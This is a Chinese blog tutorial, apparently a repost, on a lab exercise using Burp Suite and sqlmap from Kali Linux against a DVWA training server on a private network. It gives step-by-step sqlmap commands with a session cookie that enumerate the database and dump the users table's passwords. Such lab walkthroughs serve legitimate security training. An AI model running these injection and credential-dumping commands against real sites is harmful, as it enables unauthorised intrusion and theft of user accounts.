栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

Kali linux SQLmap注入攻击实验简略操作

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Kali linux SQLmap注入攻击实验简略操作

1.环境需求

kali linux虚拟机(本人2021.2版本)

Windows2008R2 已经部署的dvwa服务器

2.实验部分

先启动两台虚拟机,并且启动Windows2008R2上部署的phpstudy服务,作为kali端sql注入攻击的服务器预备。

(1)打开kali上的Burp suite和在火狐浏览器上输入之前部署的DVWA,然后登陆进去,选择dvwa security的安全级别为low并submit

(2)单击左边的sql injection功能

(3)在User id中输入1234(可随意输入)

 (4)打开Burp suite的数据包捕获功能

 

(5)找到length为4804的HTML然后点击

(6)打开kali的终端并进入root,输入下边的命令

sqlmap -u "http://192.168.10.140//DVWA-master/vulnerabilities/sqli/?id=1234&Submit=Submit" --cookie="security=low; PHPSESSID=ruhp3ef5kfivq52mh07tg1qg95" --current-db

出现database:dvwa即为正确

 (7)在上步命令的基础上,后面加上--tables用于探测该数据中的表

sqlmap -u "http://192.168.10.140//DVWA-master/vulnerabilities/sqli/?id=1234&Submit=Submit" --cookie="security=low; PHPSESSID=ruhp3ef5kfivq52mh07tg1qg95" --current-db --tables

出现database:dvwa则结果正确

 (8)针对其中的一个表user,猜其中的字段

sqlmap -u "http://192.168.10.140//DVWA-master/vulnerabilities/sqli/?id=1234&Submit=Submit" --cookie="security=low; PHPSESSID=ruhp3ef5kfivq52mh07tg1qg95" --current-db --cloumns -Tusers

 

(9)执行以下命令,对users表中的所有字段的值进行猜解

sqlmap -u "http://192.168.10.140//DVWA-master/vulnerabilities/sqli/?id=1234&Submit=Submit" --cookie="security=low; PHPSESSID=ruhp3ef5kfivq52mh07tg1qg95" --dump -T users

有选择y/n的情况时,选择y即可

 

 

此处扫描时,如时间过长,则可以ctrl c即可

下图为扫描出来的dvwa sql的登录用户名和密码

 最后返回dvwa登录主页面,根据上图或自己本机扫描出来用户名以及密码登录即可

查看箭头所示方向,是否和自己登录的用户名一致,一致则该实验成功。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/914096.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号